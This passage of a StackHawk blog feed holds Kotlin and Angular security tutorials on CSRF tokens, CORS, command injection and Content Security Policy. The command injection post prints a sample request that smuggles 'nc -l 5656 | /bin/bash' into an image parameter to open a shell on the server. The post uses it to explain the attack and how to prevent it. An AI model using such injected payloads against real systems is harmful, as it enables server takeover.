user’s timeline or access permissions.&lt;/p&gt;&lt;p&gt;So we use random tokens that we generate on the application back end, and we send them to the website as a way to prevent attacks like CSRF.&lt;/p&gt;&lt;p&gt;Since we have to validate the new token in each request, a malicious website cannot simply make the request as if it were legitimate because it doesn&amp;#39;t have the correct token.&lt;/p&gt;&lt;p&gt;After that, you need to configure Spring Security’s CSRF protection within your application. We&amp;#39;re using this tool because it plays well with Kotlin and already has a good amount of documentation. We can make customizations, but we already enable CSRF protection by default.&lt;/p&gt;&lt;h2&gt;How Do We Protect Our Users From CSRF?&lt;/h2&gt;&lt;p&gt;What you want to ensure by using CSRF protection is that only the front end of web applications can perform mutating operations.&lt;/p&gt;&lt;p&gt;A client must send an ask utilizing &lt;b&gt;HTTP GET&lt;/b&gt; to see the webpage once in a while. When this happens, the application produces a unique token. The application considers that knowing the origin of the token is confirmation that it is the app itself making the changing ask and not another framework.&lt;/p&gt;&lt;p&gt;We may have the starting point of CSRF assurance as the channel within the channel chain called &lt;b&gt;CsrfFilter&lt;/b&gt;.&lt;/p&gt;&lt;p&gt;The &lt;b&gt;CsrfFilter&lt;/b&gt; intervention demands and permits all those that utilize these HTTP strategies: &lt;b&gt;GET&lt;/b&gt;, &lt;b&gt;HEAD&lt;/b&gt;, &lt;b&gt;TRACE&lt;/b&gt;, and &lt;b&gt;OPTIONS&lt;/b&gt;. For all other demands, the channel expects to get a header containing a token. On the chance that this header doesn&amp;#39;t exist, the application rejects the ask. The &lt;b&gt;CsrfFilter&lt;/b&gt; uses a component named &lt;b&gt;CsrfTokenRepository&lt;/b&gt; to manage the CSRF token values that create modern tokens. By default, the &lt;b&gt;CsrfTokenRepository&lt;/b&gt; stores the token on the HTTP session and creates the tokens as UUIDs.&lt;/p&gt;&lt;h2&gt;A Simple Example&lt;/h2&gt;&lt;p&gt;Let&amp;#39;s consider a simple login form, for example, that requires a username, password, and CSRF token. For the front end, we just need to include the CSRF token in the form.&lt;/p&gt;&lt;p&gt;This example is available on&lt;a href=&quot;https://stonesoupprogramming.com/2017/06/27/kotlin-spring-security-custom-login/&quot;&gt; &lt;u&gt;Stone Soup Programming&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Once we finish the development of our front-end code, we want to design Spring Security to utilize this page. To render the login page, Spring requires a few controller classes.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Then we configure Spring Security:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;Which Sorts of Applications Ought to Utilize CSRF Protection?&lt;/h2&gt;&lt;p&gt; You employ CSRF assurance for web apps running in a browser, where you should expect that transforming operations can be done by the browser that loads the displayed content of the app.&lt;/p&gt;&lt;p&gt;Since applications have different prerequisites, any implementation provided by a system should be sufficient to be effectively adjusted to different scenarios. The CSRF security instrument in Spring Security is no exception. We utilize CSRF assurance, as it were, when the page that accepts the assets delivered by the server is itself produced by the same server. It can be a web application where the consumed endpoints are uncovered by a distinctive root.&lt;/p&gt;&lt;p&gt;Sometimes you may need to customize the management of CSRF tokens. As you now know, by default, the application stores CSRF tokens within the HTTP session on the server side. The HTTP session is stateful and reduces the versatility of the application. Let’s assume you need to alter the way the application manages tokens and store them someplace in a database instead of within the HTTP session. Spring Security offers two ways to do this:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;CsrfToken&lt;/b&gt;: Describes the CSRF token itself&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;CsrfTokenRepository&lt;/b&gt;: Describes the object that creates, stores, and loads CSRF tokens&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;Recommendations&lt;/h3&gt;&lt;p&gt;For the most part, you simply require the occurrence of the &lt;b&gt;CsrfToken&lt;/b&gt; to store the details in the qualities of the request. &lt;b&gt;CsrfTokenRepository&lt;/b&gt; is dependable for overseeing CSRF tokens in Spring Security. The interface &lt;b&gt;CsrfTokenRepository&lt;/b&gt; is the contract that speaks to the component that oversees CSRF tokens. To alter the way the application oversees the tokens, you&amp;#39;d need to actualize the &lt;b&gt;CsrfTokenRepository&lt;/b&gt; interface, which allows you to plug your custom execution into the system.&lt;/p&gt;&lt;p&gt;In any case, a few issues with this adjustment can be found on destinations that utilize such tokens. We list a few of them below:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Only the &lt;b&gt;POST&lt;/b&gt; method validates the secret anti-CSRF token.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;When the server doesn&amp;#39;t check the token, it can be excluded from the shape beneath the attack.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;The token isn&amp;#39;t tied to the victim&amp;#39;s session and is basically disseminated from a worldwide pool of the application, making it conceivable for the aggressor to utilize their mystery token to perform an activity on another account.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;There&amp;#39;s the possibility of reusing this token, clearing out a settled origin in all requests.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;Caveats&lt;/h3&gt;&lt;p&gt;These are a fair few cases of issues with this fix demonstrated, since the assailant will continuously attempt to demolish the forced validations.&lt;/p&gt;&lt;p&gt;Among the possible solutions, one is unpredictable tokens, inserted in hidden fields in HTML forms. We need to validate the token on the application server as a way to impose a challenge. It&amp;#39;s important that each time we make a request, a new token is provided by the server. We call this mechanism the per-page token.&lt;/p&gt;&lt;p&gt;We need to ensure that this token is unique, and we check it for every operation in the application.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;Conclusion&lt;/h2&gt;&lt;p&gt;In closing, we reinforce that the implementation of several layers of security is always important. A motivated attacker will always look for ways to subvert the protections in place. We recommend always following good security practices, assessing your risk, and reducing your attack surface as much as possible.&lt;/p&gt;&lt;p&gt;A good initial precaution is the separation of browsing profiles. It&amp;#39;s important, at least, to separate your professional profile from your personal profile. You can also create other profiles: one just for research, another for online shopping, etc. And, of course, we must always be aware of what we install and access on our devices. CSRF is an old web application security problem, but one that still causes negative impacts on its victims.&lt;/p&gt;&lt;p&gt;Given the rapid pace at which our generation develops new digital products, it becomes increasingly essential to consider security. For those of you building, remember to have the security requirements plus the operational requirements of an application.&lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Rhuan Souza. &lt;/i&gt;&lt;a href=&quot;https://www.linkedin.com/in/rhuan-souza-1b7b37116/?locale=en_US&quot;&gt;&lt;u&gt;&lt;i&gt;Ruhan&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is a software engineer who has experience with infrastructure. Ruhan is currently working as a full-stack web developer. He’s a passionate developer who focuses not only on code, but also wants to help change processes, and make people&amp;#39;s lives easier.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Kotlin CORS Guide: What It Is and How to Enable It]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/kotlin-cors-guide-what-it-is-and-how-to-enable-it</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;In this article, we will be examining the concepts of CORS, or cross-origin resource share. We will explore how to enable CORS on a simple Spring Boot RESTful web service using Kotlin.&lt;/p&gt;&lt;p&gt;We will first introduce our sample project, which will be our basis for illustrating the concept of cross-origin resource share. Then we will explore the theory behind CORS, how it works, and why you might need it. Finally, we will modify our sample project to make use of cross-origin resource share, explore some ways issues might arise, and address them.&lt;/p&gt;&lt;p&gt;By the end of this post, you should have an understanding of CORS and a basic implementation of it in a Spring Boot project.&lt;/p&gt;&lt;p&gt;We want to stress that this article depends on having previous knowledge of the Kotlin and Spring Boot development stack. If this is not the case, please check out the&lt;a href=&quot;https://spring.io/guides/gs/spring-boot/&quot;&gt; &lt;u&gt;Spring Boot guide&lt;/u&gt;&lt;/a&gt; for some excellent starting material.&lt;/p&gt;&lt;h2&gt;Building Our Sample Project&lt;/h2&gt;&lt;p&gt;Alright, so before we explore the principles of cross-origin resource share, let&amp;#39;s make sure your environment is ready so you can follow along with us. &lt;b&gt;Note:&lt;/b&gt; If you prefer to go straight into the theory, please skip to the following section.&lt;/p&gt;&lt;p&gt;We&amp;#39;ll start by building our boilerplate web application in Spring Boot. Assuming that you already have your environment ready to work with Java—having the JDK and an IDE to work with—please proceed to the &lt;a href=&quot;https://start.spring.io/&quot;&gt;&lt;u&gt;Spring Initializr&lt;/u&gt;&lt;/a&gt; and set up your project. &lt;/p&gt;&lt;p&gt;Select &amp;quot;Spring Web&amp;quot; as your dependency, either &amp;quot;Gradle&amp;quot; or &amp;quot;Maven&amp;quot; as your dependency manager, and &amp;quot;Kotlin&amp;quot; as your language. We have selected &amp;quot;Gradle&amp;quot; as our dependency manager.&lt;/p&gt;&lt;p&gt;Then proceed to download your project.&lt;/p&gt;&lt;p&gt;After the download finishes, open the project. Once you have done this, we need to add the apache &lt;b&gt;httpclient&lt;/b&gt; library for the API to respond to our requests.&lt;/p&gt;&lt;p&gt;To do this in Gradle, just add the following line to the &lt;b&gt;dependencies&lt;/b&gt; bracket in the&lt;b&gt; build.gradle&lt;/b&gt; file:&lt;/p&gt;&lt;p&gt;&lt;code&gt;testImplementation &amp;#39;org.apache.httpcomponents:httpclient&amp;#39;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Once that is done, you can run &lt;b&gt;gradle build&lt;/b&gt;, and it will pull the dependency into your project.&lt;/p&gt;&lt;p&gt;Now we will add a GET endpoint to serve as our resource representation for a simple request that will respond with a message. To achieve this, create a resource representation class file called &amp;quot;hello.kt&amp;quot; in the &lt;b&gt;src/main/kotlin/com/example/demo&lt;/b&gt; folder and input the following code:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Notice that we have added two parameters to receive extra data if necessary.&lt;/p&gt;&lt;p&gt;Finally, we need to add a controller to our Spring Boot to handle the requests. You can proceed to create a &lt;b&gt;HelloController.kt&lt;/b&gt; file in the same directory and add the following code:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;That&amp;#39;s all you need.&lt;/p&gt;&lt;p&gt;You can proceed to this&lt;a href=&quot;https://spring.io/guides/gs/rest-service-cors/&quot;&gt; &lt;u&gt;Spring Boot tutorial page&lt;/u&gt;&lt;/a&gt; for more information on this particular example and the complete code.&lt;/p&gt;&lt;h2&gt;Understanding CORS&lt;/h2&gt;&lt;p&gt;OK, so now that we have our project set up, let&amp;#39;s talk about CORS.&lt;/p&gt;&lt;p&gt;CORS, or cross-origin resource share, is a browser policy devised to control what resources the browser was allowed to retrieve from other origins. It essentially serves as a safelist that prevents malicious actors from exploiting vulnerabilities on web applications that would open users to exploits.&lt;/p&gt;&lt;p&gt;The way the server informs the browser of the CORS policy is through an HTTP header that&amp;#39;s included in all responses. This header contains a list of all domains that the browser is allowed to make requests of and retrieve resources from on the client side.&lt;/p&gt;&lt;p&gt;By default, browsers forbid making requests to domains other than the intended domain, given the potential for exploitation. This is particularly true considering the large number of requests performed on most modern websites.&lt;/p&gt;&lt;p&gt;Furthermore, this behavior serves as a vast net protecting users from running code loaded from potentially malicious origins.&lt;/p&gt;&lt;p&gt;A basic CORS header would look something like this:&lt;/p&gt;&lt;p&gt;&lt;code&gt;Access-Control-Allow-Origin: https://web.example&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;You could also specify more properties and restrictions regarding the allowed methods to use, the headers, and the policy &lt;b&gt;max-age&lt;/b&gt;.&lt;/p&gt;&lt;p&gt;&lt;code&gt;Access-Control-Allow-Origin: https://web.example
Access-Control-Allow-Methods: POST, GET, OPTIONS
Access-Control-Allow-Headers: X-TEST, Content-Type
Access-Control-Max-Age: 96000&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;If you want to dive deeper into the particulars of cross-origin resource share, we strongly encourage you to read&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cors/&quot;&gt; &lt;u&gt;our article on CORS&lt;/u&gt;&lt;/a&gt;, where we go into way more detail and focus on practical examples of the technology.&lt;/p&gt;&lt;h2&gt;Enabling CORS in Spring Boot&lt;/h2&gt;&lt;p&gt;There are two ways to enable CORS on a Spring Boot application: make changes to individual controllers, or make a general, global implementation. We will be implementing both, so you can choose which works best for you.&lt;/p&gt;&lt;p&gt;First, let&amp;#39;s implement it on an individual controller.&lt;/p&gt;&lt;p&gt;To enable cross-origin access in our endpoint, we first have to add the &lt;b&gt;@CrossOrigin&lt;/b&gt; directive on top of our controller method as follows:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Notice that we specify the origins as a parameter directly on the directive. You can specify one or many origins as an array of strings. Additionally, you can specify a set of parameters corresponding to the predefined CORS rules like &lt;b&gt;methods&lt;/b&gt;, &lt;b&gt;maxAge&lt;/b&gt;, and &lt;b&gt;allowedHeaders&lt;/b&gt;.&lt;/p&gt;&lt;p&gt;Moreover, you can add the directive to the class level to enforce CORS on all endpoints defined in the class itself.&lt;/p&gt;&lt;p&gt;For an application-wide implementation of CORS, we would then instead change the &lt;b&gt;@GetMapping&lt;/b&gt; directive to implement a filter.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Notice that the only change was in the mapping string.&lt;/p&gt;&lt;p&gt;Then we will go to our main application class, in our case DemoApplication.kt, and add the following WebMVCConfigurer:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Here we can specify our CORS origins and rules accordingly.&lt;/p&gt;&lt;p&gt;Keep in mind that you can use both approaches in tandem. This approach is advantageous if your application requires a more complex and intricate CORS policy.&lt;/p&gt;&lt;p&gt;And that&amp;#39;s it. You have a CORS implementation in your hands.&lt;/p&gt;&lt;h2&gt;Facing Issues With CORS&lt;/h2&gt;&lt;p&gt;Implementing CORS is a relatively straightforward and manageable affair. For the most part, the majority of the information you need is available through the developer tools in your browser of choice. Additionally, tools like&lt;a href=&quot;https://developers.google.com/web/tools/lighthouse/&quot;&gt; &lt;u&gt;Chrome Lighthouse&lt;/u&gt;&lt;/a&gt; allow you to check your network behavior in your development environment and suggest how to implement these policies.&lt;/p&gt;&lt;p&gt;You might fear breaking your website in the process of adding CORS, but fear not. As long as you proceed on a staging environment and keep an eye on what the network traffic tool tells you, you will be OK. Finding the missing origin or offending rule disturbing your platform&amp;#39;s normal flow is quite simple.&lt;/p&gt;&lt;p&gt;Solving CORS issues is a game of finding the culprit and tweaking our directives.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;Final Thoughts&lt;/h2&gt;&lt;p&gt;Of course, we understand that, for the most part, the modern web necessitates making requests to different origins. This is the staple that allows developers to provide the best and most reliable experience. Many features that we take for granted in this day and age result from the interoperability and tight connection of the web. Therefore, mechanisms like cross-origin resource share have been conceived to satisfy these needs and deliver robust security and stability. &lt;/p&gt;&lt;p&gt;However, sometimes the correct implementation of these policies can be challenging for large-scale platforms. That is why solutions like StackHawk are excellent for providing robust and straightforward solutions to security needs.&lt;/p&gt;&lt;p&gt;StackHawk is a test suite that provides a wide range of testing tools that empower your team&amp;#39;s workflow, guaranteeing that your platforms and business are ready for the challenges of the modern web. Be it CORS, Code Injection, or any other vulnerabilities, StackHawk provides exceptional value to your teams.&lt;a href=&quot;https://www.stackhawk.com/&quot;&gt; &lt;u&gt;Check it out&lt;/u&gt;&lt;/a&gt; for yourself.&lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Juan Reyes. &lt;/i&gt;&lt;a href=&quot;https://www.ajourneyforwisdom.com/&quot;&gt;&lt;u&gt;&lt;i&gt;Juan&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is an engineer by profession and a dreamer by heart who crossed the seas to reach Japan following the promise of opportunity and challenge. While trying to find himself and build a meaningful life in the east, Juan borrows wisdom from his experiences as an entrepreneur, artist, hustler, father figure, husband, and friend to start writing about passion, meaning, self-development, leadership, relationships, and mental health. His many years of struggle and self-discovery have inspired him and drive to embark on a journey for wisdom.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Kotlin Command Injection: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/kotlin-command-injection-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;The aim of this article is to be a resource on command injection and its impact on the modern web. We will be discussing what command injection is and explore some examples on Kotlin. Finally, we will address how you can mitigate this vulnerability with our sample project. &lt;/p&gt;&lt;p&gt;For this purpose, we&amp;#39;ll build a sample project with Spring Boot and Kotlin as our stack of choice. If you don&amp;#39;t have any experience working with either of these, don&amp;#39;t worry. You should be able to grasp the main concepts beyond the peculiarities of the tech stack.  &lt;/p&gt;&lt;p&gt;Nevertheless, we recommend that you take some time to familiarize yourself with the language and explore the &lt;a href=&quot;https://spring.io/guides/tutorials/spring-boot-kotlin/&quot;&gt;&lt;u&gt;Spring tutorial&lt;/u&gt;&lt;/a&gt;, which we&amp;#39;ll be using as our basis for our sample project. &lt;/p&gt;&lt;h2&gt;Before the Jump&lt;/h2&gt;&lt;p&gt;Before we take on command injection, let&amp;#39;s make sure you have your environment set up. Start by first crafting a demo site in Spring boot using the start.spring.io tool. &lt;/p&gt;&lt;p&gt;&lt;b&gt;Note:&lt;/b&gt; We will assume that your environment is ready to work with Java and that you have an IDE to code. If that is the case and you want to go straight to the main subject, feel free to skip this section. &lt;/p&gt;&lt;p&gt;Now please proceed to &lt;a href=&quot;https://start.spring.io/&quot;&gt;&lt;u&gt;https://start.spring.io&lt;/u&gt;&lt;/a&gt; and set up our project. Don&amp;#39;t forget to select Spring Web as your dependency, Gradle as your manager, and Kotlin as your language of choice. &lt;/p&gt;&lt;p&gt;After the download, proceed to the src/main/kotlin/com/example/demo folder and create a class file called HomeController.kt. There you can input the following code: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Then proceed to the src/main/resources/templates folder and corresponding header and footer templates. Notice that we have chosen the mustache template syntax; however, you can make them in the syntax of your preference. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;And that&amp;#39;s all you need for now. &lt;/p&gt;&lt;p&gt;You can proceed to run your code by typing &amp;quot;gradle bootRun&amp;quot; in the terminal and seeing your website on localhost:8080. &lt;/p&gt;&lt;p&gt;&lt;i&gt;Blog home page.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;If you want to understand better what is happening under the hood before progressing into the article, please go to the &lt;a href=&quot;https://spring.io/guides/tutorials/spring-boot-kotlin/&quot;&gt;&lt;u&gt;Spring Boot tutorial page&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;&lt;h2&gt;Explaining Command Injection&lt;/h2&gt;&lt;p&gt;To explain what command injection is, we need to talk about injection in web applications.  &lt;/p&gt;&lt;p&gt;You might have heard SQL injection being talked about between developers and in some circles around the web. In a nutshell, injection is a type of attack where an attacker attempts to hijack the user input. By using specific characters or strings of characters, the attacker can bypass the application and manipulate or gain access to an application&amp;#39;s database. &lt;/p&gt;&lt;p&gt;This attack, and the vulnerability related to it, became a buzzword for web security in the early 2000s as it became notorious for its seemingly simple and yet devastating potential. &lt;/p&gt;&lt;p&gt;Now, command injection, or code injection, is a special injection attack where the attacker injects JavaScript or Java code into the server to seize control over it. Subsequently, the browser or application runtime wrongly interprets this malicious code as valid since it can&amp;#39;t distinguish between the code the developer intended and the attacker&amp;#39;s code. &lt;/p&gt;&lt;p&gt;This situation is particularly hazardous considering that any arbitrary code from an attacker that the application executes can bypass any security measures, potentially even surrendering the server altogether. &lt;/p&gt;&lt;p&gt;Thankfully, code that takes strings as parameters and executes commands on the system is not standard on most development projects. For the most part, best practices discourage developers from using functions like exec or directory.execute unless absolutely necessary. &lt;/p&gt;&lt;p&gt;Nevertheless, it&amp;#39;s essential to be aware that some of the libraries you use in your project might include these functions and put your platform at risk. &lt;/p&gt;&lt;h2&gt;Examples of Command Injection&lt;/h2&gt;&lt;p&gt;Now that you know what command injection is and how it can reach your operating system, let&amp;#39;s look at an example. &lt;/p&gt;&lt;p&gt;&lt;code&gt;curl http://localhost:3000/index?image=prof.png;nc%20-l%205656%20|/bin/bash&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;In this sample request, you can see that the attacker is attempting to run the following command: &lt;/p&gt;&lt;p&gt;&lt;code&gt;nc -l 5656 | /bin/bash&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;This command, called &amp;quot;netcat,&amp;quot; can run arbitrary code on our server on behalf of the attacker and cripple it entirely. &lt;/p&gt;&lt;p&gt;We are assuming that your application is using one of the vulnerable functions mentioned above. In this case, it is feasible to consider that an attacker has an avenue to reach your server command line by simply appending commands to a request. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;Command Injection Vulnerabilities&lt;/h2&gt;&lt;p&gt;To mitigate this vulnerability, we need to make sure that we are not using functions that can execute commands unless they&amp;#39;re absolutely necessary. After all, if there is no point of access, there is no risk. Thus, our first line of defense—prevention—is incredibly effective against this kind of threat.  &lt;/p&gt;&lt;p&gt;Additionally, be sure to apply an input sanitization mechanism for any user input provided. As a general rule of thumb, restrict and regulate all paths of user input that your application offers. For example, look for ways to change dynamic input into fixed selections and use safelists to validate all input. &lt;/p&gt;&lt;p&gt;Lastly, use security analysis tools like StackHawk and routinely scan your application for vulnerabilities. StackHawk can test your applications, services, and APIs for security vulnerabilities and threats. It can also inform your team so they can effectively address them. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;Conclusion&lt;/h2&gt;&lt;p&gt;In the process of creating engaging and feature-rich solutions for the web, it&amp;#39;s easy for developers focused on deadlines and milestones to disregard security. Security and robustness are aspects treated as an afterthought for projects focused on producing results fast at the lowest cost possible. Unfortunately, that is the reality that the market has embraced as an acceptable tradeoff for the potential of explosive growth. &lt;/p&gt;&lt;p&gt;However, it is crucial for the developers building today&amp;#39;s web to push back against these trends. Likewise, engineers responsible for building the infrastructure and tools of the future must be aware of these decisions&amp;#39; impact. &lt;/p&gt;&lt;p&gt;Sometimes the correct implementation of fixes, patches, and mitigation strategies can be incredibly complex. That&amp;#39;s particularly true if your platform is quite large.  &lt;/p&gt;&lt;p&gt;That&amp;#39;s why solutions like StackHawk are an excellent asset for those looking for a robust and straightforward way to address security problems.  &lt;/p&gt;&lt;p&gt;StackHawk is a proven test suite that accommodates developers and managers with a wide variety of testing tools. Our sophisticated algorithms and comprehensive platform provide a centralized command center to monitor and guarantee your platform security. This helps you and your business be ready for the challenges of the modern web. &lt;/p&gt;&lt;p&gt;Be it command injection, scripting, or any other vulnerabilities, StackHawk provides outstanding value for your teams and partners. &lt;/p&gt;&lt;p&gt;Check it out &lt;a href=&quot;https://www.stackhawk.com/&quot;&gt;&lt;u&gt;here&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Juan Reyes. &lt;/i&gt;&lt;a href=&quot;https://www.ajourneyforwisdom.com/&quot;&gt;&lt;u&gt;&lt;i&gt;Juan&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is an engineer by profession and a dreamer by heart who crossed the seas to reach Japan following the promise of opportunity and challenge. While trying to find himself and build a meaningful life in the east, Juan borrows wisdom from his experiences as an entrepreneur, artist, hustler, father figure, husband, and friend to start writing about passion, meaning, self-development, leadership, relationships, and mental health. His many years of struggle and self-discovery have inspired him and drive to embark on a journey for wisdom.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Angular Content Security Policy Guide: What It Is and How to Enable It]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/angular-content-security-policy-guide-what-it-is-and-how-to-enable-it</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Content Security Policy (CSP) is an extra layer of security against attacks such as cross-site scripting (XSS) and data injection. Using CSP, you can specify trusted sources of scripts or media on your website, preventing the browser from loading content from other sources. You can also use CSP to disable the execution of in-line CSS and JavaScript. &lt;/p&gt;&lt;p&gt;The value of CSP is commonly set using an HTTP header. However, you can also define CSP using an HTML meta tag. In this post, you&amp;#39;ll learn about Angular Content Security Policy and how to enable it. &lt;/p&gt;&lt;h2&gt;What Is Angular Content Security Policy?&lt;/h2&gt;&lt;p&gt;Angular CSP is a security feature that makes your site less vulnerable to attacks like XSS. You can use this feature to specify whether your site should allow in-line JavaScript or not. In addition, you can specify policies for other content like AJAX, CSS, and iframe. &lt;/p&gt;&lt;p&gt;Content Security Policy is sent to the browser using a Content-Security-Policy HTTP header. That is to say, Content-Security-Policy is the &lt;b&gt;key&lt;/b&gt; while the actual policy is the &lt;b&gt;value&lt;/b&gt;. The following code shows the format of the Content Security Policy: &lt;/p&gt;&lt;p&gt;&lt;code&gt;Content-Security-Policy: policy&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Now let&amp;#39;s take a look at the format of a policy. The policy contains the actual rules for the Content Security Policy. In CSP, a semicolon separates policies for multiple resource types or policy areas. For example, the code below shows a Content Security Policy for multiple resource types: &lt;/p&gt;&lt;p&gt;&lt;code&gt;Content-Security-Policy: default-src &amp;#39;self&amp;#39;; img-src https://*; child-src &amp;#39;none&amp;#39;;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;The &lt;b&gt;default-src&lt;/b&gt; directive provides a fallback policy for other resource types where they lack their own policy. As a result, you should always include the default-src directive in your Content Security Policy. The value &amp;quot;self&amp;quot; means your website will only load resources from the same original. For the &lt;b&gt;img-src&lt;/b&gt; directive, on the other hand, its value &lt;b&gt;https://*&lt;/b&gt; means the website only loads images that use the secure HTTPS protocol. &lt;/p&gt;&lt;p&gt;Let&amp;#39;s take a look at another example. This time, you&amp;#39;ll see how to define multiple origins for a directive. &lt;/p&gt;&lt;p&gt;&lt;code&gt;Content-Security-Policy: default-src &amp;#39;self&amp;#39;; img-src &amp;#39;self&amp;#39; static.mycdn.com;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;What&amp;#39;s new here is that the policy supports the loading of images from the same origin and &lt;b&gt;static.mycdn.com&lt;/b&gt;. You can add multiple origins by separating each with a space. &lt;/p&gt;&lt;h2&gt;How to Enable Angular Content Security Policy&lt;/h2&gt;&lt;p&gt;Now that you know what Angular Content Security Policy is and why it&amp;#39;s important, let&amp;#39;s take a look at how to enable it. &lt;/p&gt;&lt;p&gt;There are multiple ways to enable CSP on your website. One is on a global level using server configuration. The process for enabling CSP at the server level varies, depending on the type of service or operating system hosting your website. &lt;/p&gt;&lt;p&gt;Another method is by using a server-side rendering tool like &lt;a href=&quot;https://angular.io/guide/universal&quot;&gt;&lt;u&gt;Angular Universal&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;The third method is by using a meta tag with &lt;b&gt;http-equiv&lt;/b&gt; set to &lt;b&gt;Content-Security-Policy&lt;/b&gt;. You can add the meta tag to your Angular project&amp;#39;s &lt;b&gt;index.html&lt;/b&gt;. &lt;/p&gt;&lt;p&gt;To do that, go to the &lt;b&gt;src&lt;/b&gt; directory of the project, then open the &lt;b&gt;index.html&lt;/b&gt; file in your choice code editor (e.g., Visual Studio Code, Sublime Text, etc). Next, add the following code inside the &lt;b&gt;&amp;lt;head&amp;gt;&lt;/b&gt; section of the HTML content. &lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;meta http-equiv=&amp;quot;Content-Security-Policy&amp;quot; content=&amp;quot;&amp;quot;&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;You should add the value for your Content Security Policy inside the meta tag&amp;#39;s &lt;b&gt;content&lt;/b&gt; property. While using this method, don&amp;#39;t include the full &lt;b&gt;Content-Security-Policy: value&lt;/b&gt;. Instead, only specify the &lt;b&gt;value&lt;/b&gt; part. You can also separate policies for multiple directives using a semicolon and add multiple origins using spaces. &lt;/p&gt;&lt;h2&gt;Fixing Content Security Policy Errors&lt;/h2&gt;&lt;p&gt;In this section, we&amp;#39;ll show you how to detect and fix Content Security Policy errors. In order to demonstrate this, we&amp;#39;ll be adding CSP policies to the default Angular home page. After adding that, the page should break with a CSP error. &lt;/p&gt;&lt;p&gt;To follow along, you can create a new Angular project using the following command: &lt;/p&gt;&lt;p&gt;&lt;code&gt;ng new new-project&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Next, open &lt;b&gt;index.html&lt;/b&gt; (located inside the &lt;b&gt;src&lt;/b&gt; folder) and add the following meta tag to the &lt;b&gt;&amp;lt;head&amp;gt;&lt;/b&gt; section: &lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;meta http-equiv=&amp;quot;Content-Security-Policy&amp;quot;
